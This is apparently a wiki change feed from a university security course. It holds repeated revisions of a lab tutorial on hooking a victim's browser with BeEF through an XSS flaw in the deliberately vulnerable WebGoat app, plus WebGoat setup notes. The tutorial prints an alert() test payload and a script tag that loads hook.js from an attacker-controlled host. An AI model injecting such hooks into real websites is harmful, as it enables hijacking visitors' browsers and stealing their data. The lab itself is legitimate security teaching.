To be able to inject a malicious BeeF Script, one should start up the Browser Exploitation Framework. If the Framework got started up sucessfully, it will display a BeeF Hook URL in the console which should be used. This Link is a direct URL which gets hosted on the attackers machiene (where BeeF got started) to the malicious Script. &lt;br /&gt;
&lt;br /&gt;
[[File:BeeF_HookUrl.png|thumb|Injection Script Link and UI Panel Link at startup]]&lt;br /&gt;
&lt;br /&gt;
 #BeeF running on my local kali linux machiene (192.168.5.8)&lt;br /&gt;
 BeeF Hook URL: http://192.168.5.8:3000/hook.js&lt;br /&gt;
 &lt;br /&gt;
 #Injection command&lt;br /&gt;
 &amp;lt;script src=”http://192.168.5.8:3000/hook.js”&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Step 3 - Exploiting Browser Page using pre-defined Attack Vectors ===&lt;br /&gt;
&lt;br /&gt;
Once the Script got successfully injected, the attacker will be able to see a new open session in his UI Terminal (located at http://localhost:3000/ui/panel). He is now able to retrieve any information about the hooked client. He can exploit the browser using a variety of Social Engineering Tools, exploitation of different browser types and versions, etc. &lt;br /&gt;
&lt;br /&gt;
[[File:File:HookedBrowser.png|thumb|Hooked Browser in BeeF UI panel]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://beefproject.com/&lt;br /&gt;
* https://owasp.org/www-community/attacks/xss/&lt;br /&gt;
* https://owasp.org/www-project-webgoat/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Utilizing_XSS_Vulnerabilities_to_hook_a_browser_with_BeeF&amp;diff=10758</id>
		<title>Utilizing XSS Vulnerabilities to hook a browser with BeeF</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Utilizing_XSS_Vulnerabilities_to_hook_a_browser_with_BeeF&amp;diff=10758"/>
		<updated>2023-01-07T11:59:45Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This article provides a step-by-step documentation of how to &amp;quot;hook&amp;quot; a victims&#039; browser page using the Browser Exploitation Framework by injecting a malicious script via an Cross Site Scripting (XSS) Vulnerability on the given website. &lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Any OS which can run BeeF and WebGoat&lt;br /&gt;
** For the documentation Kali Linux 2022.1 was used&lt;br /&gt;
* Software: &lt;br /&gt;
** [[https://wiki.elvis.science/index.php?title=BeEF BeEf]] &lt;br /&gt;
** For a Website which is vulnerable against XSS Attacks [[https://wiki.elvis.science/index.php?title=WebGoat WebGoat]] was used (but you can use any website which has a XSS Vulnerability&lt;br /&gt;
&lt;br /&gt;
== Setup ==&lt;br /&gt;
&lt;br /&gt;
Please Install the required software following the documentation provided in [[https://wiki.elvis.science/index.php?title=WebGoat WebGoat]] and [[https://wiki.elvis.science/index.php?title=BeEF BeEf]] first before returning back here. You should be able to start both programs locally.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
XSS attacks are a sort of injection attack in which malicious scripts are injected into otherwise innocuous and trustworthy web pages. When an attacker injects malicious code into a website, it executes in the browser of a person who accesses that site. This gives the attacker the ability to steal user data, such as login passwords, or to alter the website in numerous ways. XSS attacks may be used to circumvent access restrictions and permissions, perform phishing attacks, and propagate malware. XSS assaults are classified into three types: persistent XSS, reflected XSS, and DOM-based XSS. To fight against XSS attacks, it is critical to validate and sanitize user input, as well as to implement content security controls. [[https://wiki.elvis.science/index.php?title=Cross-Site-Scripting_(XSS) XSS]]&lt;br /&gt;
&lt;br /&gt;
This Vulnerability will get exploited where a malicious script provided by the BeEF Framework will get injected into the target website and the script will create a backdoor to the attackers machiene where BeEF is running. This will open a new session where the Attacker can now target the victims Browser Page utilizing pre-formed attacks provided by the BeeF Framework.&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Identifying a XSS Vulnerability  ===&lt;br /&gt;
&lt;br /&gt;
Locate a XSS Vulenrability. A typical reflected XSS attack can be tested by injecting a basic JavaScript tag into a user input field with an alarm command. In the case of a vulnerable user input field, i.e. a field that the web server considers a trusted source and the dynamic context of the user input is not checked for malicious behavior, the JavaScript command is executed and a virtual JavaScript alert box is displayed over the web page, preventing the user from using the web page until the box is closed. &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;alert(&amp;quot;Hello from XSS!&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:ShoppingCart 2.png|thumb|Successful XSS Attack output]]&lt;br /&gt;
&lt;br /&gt;
Using WebGoat, many XSS vulnerable Input fields can be discovered. For the documentation, an XSS Vulnerable Field was used at chapter Injection --&amp;gt; XSS --&amp;gt; Shoping Cart.&lt;br /&gt;
&lt;br /&gt;
[[File:ShoppingCart 1.png|thumb|XSS Vulnerability in WebGoat]]&lt;br /&gt;
&lt;br /&gt;
=== Step 2 - Injection of malicious BeeF Script ===&lt;br /&gt;
&lt;br /&gt;
To be able to inject a malicious BeeF Script, one should start up the Browser Exploitation Framework. If the Framework got started up sucessfully, it will display a BeeF Hook URL in the console which should be used. This Link is a direct URL which gets hosted on the attackers machiene (where BeeF got started) to the malicious Script. &lt;br /&gt;
&lt;br /&gt;
[[File:BeeF_HookUrl.png|thumb|Injection Script Link and UI Panel Link at startup]]&lt;br /&gt;
&lt;br /&gt;
 #BeeF running on my local kali linux machiene (192.168.5.8)&lt;br /&gt;
 BeeF Hook URL: http://192.168.5.8:3000/hook.js&lt;br /&gt;
 &lt;br /&gt;
 #Injection command&lt;br /&gt;
 &amp;lt;script src=”http://192.168.5.8:3000/hook.js”&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Step 3 - Exploiting Browser Page using pre-defined Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
Once the Script got successfully injected, the attacker will be able to see a new open session in his UI Terminal (located at http://localhost:3000/ui/panel). He is now able to retrieve any information about the hooked client. He can exploit the browser using a variety of Social Engineering Tools, exploitation of different browser types and versions, etc. &lt;br /&gt;
&lt;br /&gt;
[[File:File:HookedBrowser.png|thumb|Hooked Browser in BeeF UI panel]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://beefproject.com/&lt;br /&gt;
* https://owasp.org/www-community/attacks/xss/&lt;br /&gt;
* https://owasp.org/www-project-webgoat/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Utilizing_XSS_Vulnerabilities_to_hook_a_browser_with_BeeF&amp;diff=10757</id>
		<title>Utilizing XSS Vulnerabilities to hook a browser with BeeF</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Utilizing_XSS_Vulnerabilities_to_hook_a_browser_with_BeeF&amp;diff=10757"/>
		<updated>2023-01-07T11:59:31Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This article provides a step-by-step documentation of how to &amp;quot;hook&amp;quot; a victims&#039; browser page using the Browser Exploitation Framework by injecting a malicious script via an Cross Site Scripting (XSS) Vulnerability on the given website. &lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Any OS which can run BeeF and WebGoat&lt;br /&gt;
** For the documentation Kali Linux 2022.1 was used&lt;br /&gt;
* Software: &lt;br /&gt;
** [[https://wiki.elvis.science/index.php?title=BeEF BeEf]] F&lt;br /&gt;
** For a Website which is vulnerable against XSS Attacks [[https://wiki.elvis.science/index.php?title=WebGoat WebGoat]] was used (but you can use any website which has a XSS Vulnerability&lt;br /&gt;
&lt;br /&gt;
== Setup ==&lt;br /&gt;
&lt;br /&gt;
Please Install the required software following the documentation provided in [[https://wiki.elvis.science/index.php?title=WebGoat WebGoat]] and [[https://wiki.elvis.science/index.php?title=BeEF BeEf]] first before returning back here. You should be able to start both programs locally.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
XSS attacks are a sort of injection attack in which malicious scripts are injected into otherwise innocuous and trustworthy web pages. When an attacker injects malicious code into a website, it executes in the browser of a person who accesses that site. This gives the attacker the ability to steal user data, such as login passwords, or to alter the website in numerous ways. XSS attacks may be used to circumvent access restrictions and permissions, perform phishing attacks, and propagate malware. XSS assaults are classified into three types: persistent XSS, reflected XSS, and DOM-based XSS. To fight against XSS attacks, it is critical to validate and sanitize user input, as well as to implement content security controls. [[https://wiki.elvis.science/index.php?title=Cross-Site-Scripting_(XSS) XSS]]&lt;br /&gt;
&lt;br /&gt;
This Vulnerability will get exploited where a malicious script provided by the BeEF Framework will get injected into the target website and the script will create a backdoor to the attackers machiene where BeEF is running. This will open a new session where the Attacker can now target the victims Browser Page utilizing pre-formed attacks provided by the BeeF Framework.&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Identifying a XSS Vulnerability  ===&lt;br /&gt;
&lt;br /&gt;
Locate a XSS Vulenrability. A typical reflected XSS attack can be tested by injecting a basic JavaScript tag into a user input field with an alarm command. In the case of a vulnerable user input field, i.e. a field that the web server considers a trusted source and the dynamic context of the user input is not checked for malicious behavior, the JavaScript command is executed and a virtual JavaScript alert box is displayed over the web page, preventing the user from using the web page until the box is closed. &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;alert(&amp;quot;Hello from XSS!&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:ShoppingCart 2.png|thumb|Successful XSS Attack output]]&lt;br /&gt;
&lt;br /&gt;
Using WebGoat, many XSS vulnerable Input fields can be discovered. For the documentation, an XSS Vulnerable Field was used at chapter Injection --&amp;gt; XSS --&amp;gt; Shoping Cart.&lt;br /&gt;
&lt;br /&gt;
[[File:ShoppingCart 1.png|thumb|XSS Vulnerability in WebGoat]]&lt;br /&gt;
&lt;br /&gt;
=== Step 2 - Injection of malicious BeeF Script ===&lt;br /&gt;
&lt;br /&gt;
To be able to inject a malicious BeeF Script, one should start up the Browser Exploitation Framework. If the Framework got started up sucessfully, it will display a BeeF Hook URL in the console which should be used. This Link is a direct URL which gets hosted on the attackers machiene (where BeeF got started) to the malicious Script. &lt;br /&gt;
&lt;br /&gt;
[[File:BeeF_HookUrl.png|thumb|Injection Script Link and UI Panel Link at startup]]&lt;br /&gt;
&lt;br /&gt;
 #BeeF running on my local kali linux machiene (192.168.5.8)&lt;br /&gt;
 BeeF Hook URL: http://192.168.5.8:3000/hook.js&lt;br /&gt;
 &lt;br /&gt;
 #Injection command&lt;br /&gt;
 &amp;lt;script src=”http://192.168.5.8:3000/hook.js”&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Step 3 - Exploiting Browser Page using pre-defined Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
Once the Script got successfully injected, the attacker will be able to see a new open session in his UI Terminal (located at http://localhost:3000/ui/panel). He is now able to retrieve any information about the hooked client. He can exploit the browser using a variety of Social Engineering Tools, exploitation of different browser types and versions, etc. &lt;br /&gt;
&lt;br /&gt;
[[File:File:HookedBrowser.png|thumb|Hooked Browser in BeeF UI panel]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://beefproject.com/&lt;br /&gt;
* https://owasp.org/www-community/attacks/xss/&lt;br /&gt;
* https://owasp.org/www-project-webgoat/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:ShoppingCart_1.png&amp;diff=10756</id>
		<title>File:ShoppingCart 1.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:ShoppingCart_1.png&amp;diff=10756"/>
		<updated>2023-01-07T11:58:48Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:ShoppingCart_2.png&amp;diff=10755</id>
		<title>File:ShoppingCart 2.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:ShoppingCart_2.png&amp;diff=10755"/>
		<updated>2023-01-07T11:49:26Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:HookedBrowser.png&amp;diff=10754</id>
		<title>File:HookedBrowser.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:HookedBrowser.png&amp;diff=10754"/>
		<updated>2023-01-07T11:48:54Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:BeeF_HookUrl.png&amp;diff=10753</id>
		<title>File:BeeF HookUrl.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:BeeF_HookUrl.png&amp;diff=10753"/>
		<updated>2023-01-07T11:48:38Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Utilizing_XSS_Vulnerabilities_to_hook_a_browser_with_BeeF&amp;diff=10752</id>
		<title>Utilizing XSS Vulnerabilities to hook a browser with BeeF</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Utilizing_XSS_Vulnerabilities_to_hook_a_browser_with_BeeF&amp;diff=10752"/>
		<updated>2023-01-07T11:47:44Z</updated>

		<summary type="html">&lt;p&gt;JKasser: Created page with &amp;quot;== Summary ==   This article provides a step-by-step documentation of how to &amp;quot;hook&amp;quot; a victims&amp;#039; browser page using the Browser Exploitation Framework by injecting a malicious script via an Cross Site Scripting (XSS) Vulnerability on the given website.   == Requirements ==  * Operating system: Any OS which can run BeeF and WebGoat ** For the documentation Kali Linux 2022.1 was used * Software:  ** https://wiki.elvis.science/index.php?title=BeEF BeEf F ** For a Website...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This article provides a step-by-step documentation of how to &amp;quot;hook&amp;quot; a victims&#039; browser page using the Browser Exploitation Framework by injecting a malicious script via an Cross Site Scripting (XSS) Vulnerability on the given website. &lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Any OS which can run BeeF and WebGoat&lt;br /&gt;
** For the documentation Kali Linux 2022.1 was used&lt;br /&gt;
* Software: &lt;br /&gt;
** [[https://wiki.elvis.science/index.php?title=BeEF BeEf]] F&lt;br /&gt;
** For a Website which is vulnerable against XSS Attacks [[https://wiki.elvis.science/index.php?title=WebGoat WebGoat]] was used (but you can use any website which has a XSS Vulnerability&lt;br /&gt;
&lt;br /&gt;
== Setup ==&lt;br /&gt;
&lt;br /&gt;
Please Install the required software following the documentation provided in [[https://wiki.elvis.science/index.php?title=WebGoat WebGoat]] and [[https://wiki.elvis.science/index.php?title=BeEF BeEf]] first before returning back here. You should be able to start both programs locally.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
XSS attacks are a sort of injection attack in which malicious scripts are injected into otherwise innocuous and trustworthy web pages. When an attacker injects malicious code into a website, it executes in the browser of a person who accesses that site. This gives the attacker the ability to steal user data, such as login passwords, or to alter the website in numerous ways. XSS attacks may be used to circumvent access restrictions and permissions, perform phishing attacks, and propagate malware. XSS assaults are classified into three types: persistent XSS, reflected XSS, and DOM-based XSS. To fight against XSS attacks, it is critical to validate and sanitize user input, as well as to implement content security controls. [[https://wiki.elvis.science/index.php?title=Cross-Site-Scripting_(XSS) XSS]]&lt;br /&gt;
&lt;br /&gt;
This Vulnerability will get exploited where a malicious script provided by the BeEF Framework will get injected into the target website and the script will create a backdoor to the attackers machiene where BeEF is running. This will open a new session where the Attacker can now target the victims Browser Page utilizing pre-formed attacks provided by the BeeF Framework.&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Identifying a XSS Vulnerability  ===&lt;br /&gt;
&lt;br /&gt;
Locate a XSS Vulenrability. A typical reflected XSS attack can be tested by injecting a basic JavaScript tag into a user input field with an alarm command. In the case of a vulnerable user input field, i.e. a field that the web server considers a trusted source and the dynamic context of the user input is not checked for malicious behavior, the JavaScript command is executed and a virtual JavaScript alert box is displayed over the web page, preventing the user from using the web page until the box is closed. &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;alert(&amp;quot;Hello from XSS!&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Step 2 - Injection of malicious BeeF Script ===&lt;br /&gt;
&lt;br /&gt;
To be able to inject a malicious BeeF Script, one should start up the Browser Exploitation Framework. If the Framework got started up sucessfully, it will display a BeeF Hook URL in the console which should be used. This Link is a direct URL which gets hosted on the attackers machiene (where BeeF got started) to the malicious Script. &lt;br /&gt;
&lt;br /&gt;
 #BeeF running on my local kali linux machiene (192.168.5.8)&lt;br /&gt;
 BeeF Hook URL: http://192.168.5.8:3000/hook.js&lt;br /&gt;
 &lt;br /&gt;
 #Injection command&lt;br /&gt;
 &amp;lt;script src=”http://192.168.5.8:3000/hook.js”&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Step 3 - Exploiting Browser Page using pre-defined Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
Once the Script got successfully injected, the attacker will be able to see a new open session in his UI Terminal (located at http://localhost:3000/ui/panel). He is now able to retrieve any information about the hooked client. He can exploit the browser using a variety of Social Engineering Tools, exploitation of different browser types and versions, etc. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Device to be used with this documentation]]&lt;br /&gt;
[[Maybe another device to be used with this documentation]]&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[A course where this documentation was used]] (2017, 2018)&lt;br /&gt;
* [[Another one]] (2018)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://wikipedia.org&lt;br /&gt;
* https://google.com&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WebGoat&amp;diff=10507</id>
		<title>WebGoat</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WebGoat&amp;diff=10507"/>
		<updated>2023-01-02T15:21:18Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This is a tutorial and info site on the OWASP&#039;s vulnerable web application WebGoat.&lt;br /&gt;
&lt;br /&gt;
== OWASP WebGoat ==&lt;br /&gt;
&lt;br /&gt;
The OWASP WebGoat project provides an insecure web application that demonstrates the most common client-side application flaws and explains and tests the vulnerabilities from the OWASP Top 10. Lessons, exercises and challenges are provided to give interested developers hands-on experience to test and better understand the material. When starting each lesson, the user is provided with content and interactive questions about the already explained material or demonstrations of the explained functionality through a dialog from different pages. The learning of the content is thus brought to the user in a playful, hands-on experience. The lessons are structured strictly according to the OWASP Top 10 and can be tested and reviewed individually. &lt;br /&gt;
&lt;br /&gt;
== Setup ==&lt;br /&gt;
&lt;br /&gt;
There are three possible ways to install the programm: Standalone, Docker Image and cloning the repository (open source) &amp;lt;ref&amp;gt;WebGoat Github, &#039;&#039;WebGoat&#039;&#039;, 2022, accessed on: 02.01.2023, [Online]. Available: https://github.com/WebGoat/WebGoat&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Requirements ===&lt;br /&gt;
&lt;br /&gt;
* Operating system: &lt;br /&gt;
** Windows 8 or higher&lt;br /&gt;
** Ubuntu Linux 20.04 LTS or higher&lt;br /&gt;
** macOS 10.14 or higher&lt;br /&gt;
** Or any other OS which is supported by Java 17&lt;br /&gt;
* Java 17 OR&lt;br /&gt;
* Docker Desktop &lt;br /&gt;
* Internet Browser of any type&lt;br /&gt;
* GIT&lt;br /&gt;
&lt;br /&gt;
=== Installation Instructions ===&lt;br /&gt;
&lt;br /&gt;
==== Run with Docker ====&lt;br /&gt;
&lt;br /&gt;
Need to insall Docker first, then you can install WebGoat as Docker Image.&lt;br /&gt;
&lt;br /&gt;
 sudo apt install docker.io&lt;br /&gt;
 sudo docker run -it -p 127.0.0.1:80:8888 -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf:v8.2.2&lt;br /&gt;
&lt;br /&gt;
==== Standalone ====&lt;br /&gt;
&lt;br /&gt;
Download .jar file (Java Archive file) from https://github.com/WebGoat/WebGoat/releases&lt;br /&gt;
 &lt;br /&gt;
 java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-8.2.3.jar &lt;br /&gt;
&lt;br /&gt;
==== Run from the sources ====&lt;br /&gt;
&lt;br /&gt;
Clone GitHub Repository (Open Source)&lt;br /&gt;
&lt;br /&gt;
 git clone git@github.com:WebGoat/WebGoat.git&lt;br /&gt;
&lt;br /&gt;
Compile the Project using Java 17&lt;br /&gt;
&lt;br /&gt;
 cd WebGoat&lt;br /&gt;
 git checkout &amp;lt;&amp;lt;branch_name&amp;gt;&amp;gt;&lt;br /&gt;
 # On Linux/Mac:&lt;br /&gt;
 ./mvnw clean install &lt;br /&gt;
&lt;br /&gt;
 # On Windows:&lt;br /&gt;
 ./mvnw.cmd clean install&lt;br /&gt;
&lt;br /&gt;
When the priject is compiled successfully we are ready to run the project. WebGoat is using Spring Boot. &lt;br /&gt;
 &lt;br /&gt;
 # On Linux/Mac:&lt;br /&gt;
 ./mvnw spring-boot:run&lt;br /&gt;
 # On Windows:&lt;br /&gt;
 ./mvnw.cmd spring-boot:run&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Access ===&lt;br /&gt;
* The landing page will be located at: http://localhost&lt;br /&gt;
* WebGoat will be located at: http://localhost:8080/WebGoat&lt;br /&gt;
* WebWolf will be located at: http://localhost:9090/WebWolf&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Webgoat1.png|thumb|none|500px|Web goat]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To gain access to the lessons and challenges, you need to register.&lt;br /&gt;
&lt;br /&gt;
== WebGoat Lessons ==&lt;br /&gt;
&lt;br /&gt;
The OWASP WebGoat Lessons are embedded in the WebGoat Tool. Here, various attack vectors are demonstrated using hands-on examples. In general, WebGoat contains&lt;br /&gt;
lessons, exercises and challenges. These lessons are divided into different categories and&lt;br /&gt;
contain several pages of information and exercises. The challenges are more demanding&lt;br /&gt;
and do not contain any hints. The current version 8.2.2 contains 10 lessons:&lt;br /&gt;
&lt;br /&gt;
* Broken Access Control&lt;br /&gt;
* Cryptographic Failures&lt;br /&gt;
* Injection&lt;br /&gt;
* Vuln &amp;amp; Outdated Components&lt;br /&gt;
* Identity &amp;amp; Auth Failure&lt;br /&gt;
* Security Logging Failures&lt;br /&gt;
* Server-Side Request forgery&lt;br /&gt;
&lt;br /&gt;
Each lesson contains further sub-chapters which each contain several pages. In the&lt;br /&gt;
first steps, the material is explained, and in the further steps it is explained by means&lt;br /&gt;
of exercises.&lt;br /&gt;
&lt;br /&gt;
In the future additional lessons corresponding to the following topics will be added:&lt;br /&gt;
&lt;br /&gt;
* Lesson about cryptography (In Progress)&lt;br /&gt;
* Lesson about path traversal (in progress)&lt;br /&gt;
* Session Management&lt;br /&gt;
* More password reset lessons&lt;br /&gt;
&lt;br /&gt;
== OWASP WebWolf ==&lt;br /&gt;
&lt;br /&gt;
=== Description ===&lt;br /&gt;
&lt;br /&gt;
Since the lessons of WebGoat cover very extensive concepts of penetration testing and&lt;br /&gt;
therefore build critical vulnerabilities into the local system to make lessons practically&lt;br /&gt;
implementable as well, OWASP decided to provide its own local tool called WebWolf.&lt;br /&gt;
WebWolf is automatically delivered with the installation of WebWolf. The tool acts as&lt;br /&gt;
a locally hosted attacker machine. This is to highlight more clearly which operations&lt;br /&gt;
need to be performed as the attacker and which need to be performed at the target&lt;br /&gt;
in order to successfully execute an exploit. Some lessons use WebWolf, for example,&lt;br /&gt;
to provide a file that must be loaded onto the target machine (e.g., for persistent XSS&lt;br /&gt;
attacks, which will be discussed in more detail later in the thesis) or to provide a&lt;br /&gt;
connection to the own environment (ReverseTCP). Since these services should not be&lt;br /&gt;
provided in the open and connected Internet, WebWolf was developed.&lt;br /&gt;
&lt;br /&gt;
=== Setup ===&lt;br /&gt;
&lt;br /&gt;
WebWolf is an included tool that is directly in the repository (Git and DockerHub)&lt;br /&gt;
and should already be on the machine after downloading WebGoat. If the tool has&lt;br /&gt;
already been started via a Docker image, WebWolf is already running and should be&lt;br /&gt;
accessible at http://localhost:9090/WebWolf. If the repository is cloned locally in&lt;br /&gt;
standalone mode, the WebWolf Java Archive file still needs to be downloaded to start&lt;br /&gt;
it locally. This can be done with the following command. If WebWolf has been started&lt;br /&gt;
successfully, it will also be available under the above link.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 java -jar webwolf&amp;lt;&amp;lt;version&amp;gt;&amp;gt;.jar [--server.port=9090][server.address=localhost]&lt;br /&gt;
&lt;br /&gt;
=== Use ===&lt;br /&gt;
&lt;br /&gt;
WebWolf in the current version (8.2.2) provides the following functionalities:&lt;br /&gt;
&lt;br /&gt;
* File Hosting Service&lt;br /&gt;
* Landing Page for incoming requests&lt;br /&gt;
* Email Server with Client&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WebGoat&amp;diff=10506</id>
		<title>WebGoat</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WebGoat&amp;diff=10506"/>
		<updated>2023-01-02T15:21:00Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This is a tutorial and info site on the OWASP&#039;s vulnerable web application WebGoat.&lt;br /&gt;
&lt;br /&gt;
== OWASP WebGoat ==&lt;br /&gt;
&lt;br /&gt;
The OWASP WebGoat project provides an insecure web application that demonstrates the most common client-side application flaws and explains and tests the vulnerabilities from the OWASP Top 10. Lessons, exercises and challenges are provided to give interested developers hands-on experience to test and better understand the material. When starting each lesson, the user is provided with content and interactive questions about the already explained material or demonstrations of the explained functionality through a dialog from different pages. The learning of the content is thus brought to the user in a playful, hands-on experience. The lessons are structured strictly according to the OWASP Top 10 and can be tested and reviewed individually. &lt;br /&gt;
&lt;br /&gt;
== Setup ==&lt;br /&gt;
&lt;br /&gt;
There are three possible ways to install the programm: Standalone, Docker Image and cloning the repository (open source) &amp;lt;ref&amp;gt;WebGoat Github, &#039;&#039;WebGoat&#039;&#039;, 2022, accessed on: 02.01.2023, [Online]. Available: https://github.com/WebGoat/WebGoat&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Requirements ===&lt;br /&gt;
&lt;br /&gt;
* Operating system: &lt;br /&gt;
** Windows 8 or higher&lt;br /&gt;
** Ubuntu Linux 20.04 LTS or higher&lt;br /&gt;
** macOS 10.14 or higher&lt;br /&gt;
** Or any other OS which is supported by Java 17&lt;br /&gt;
* Java 17 OR&lt;br /&gt;
* Docker Desktop &lt;br /&gt;
* Internet Browser of any type&lt;br /&gt;
* GIT&lt;br /&gt;
&lt;br /&gt;
=== Installation Instructions ===&lt;br /&gt;
&lt;br /&gt;
==== Run with Docker ====&lt;br /&gt;
&lt;br /&gt;
Need to insall Docker first, then you can install WebGoat as Docker Image.&lt;br /&gt;
&lt;br /&gt;
 sudo apt install docker.io&lt;br /&gt;
 sudo docker run -it -p 127.0.0.1:80:8888 -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf:v8.2.2&lt;br /&gt;
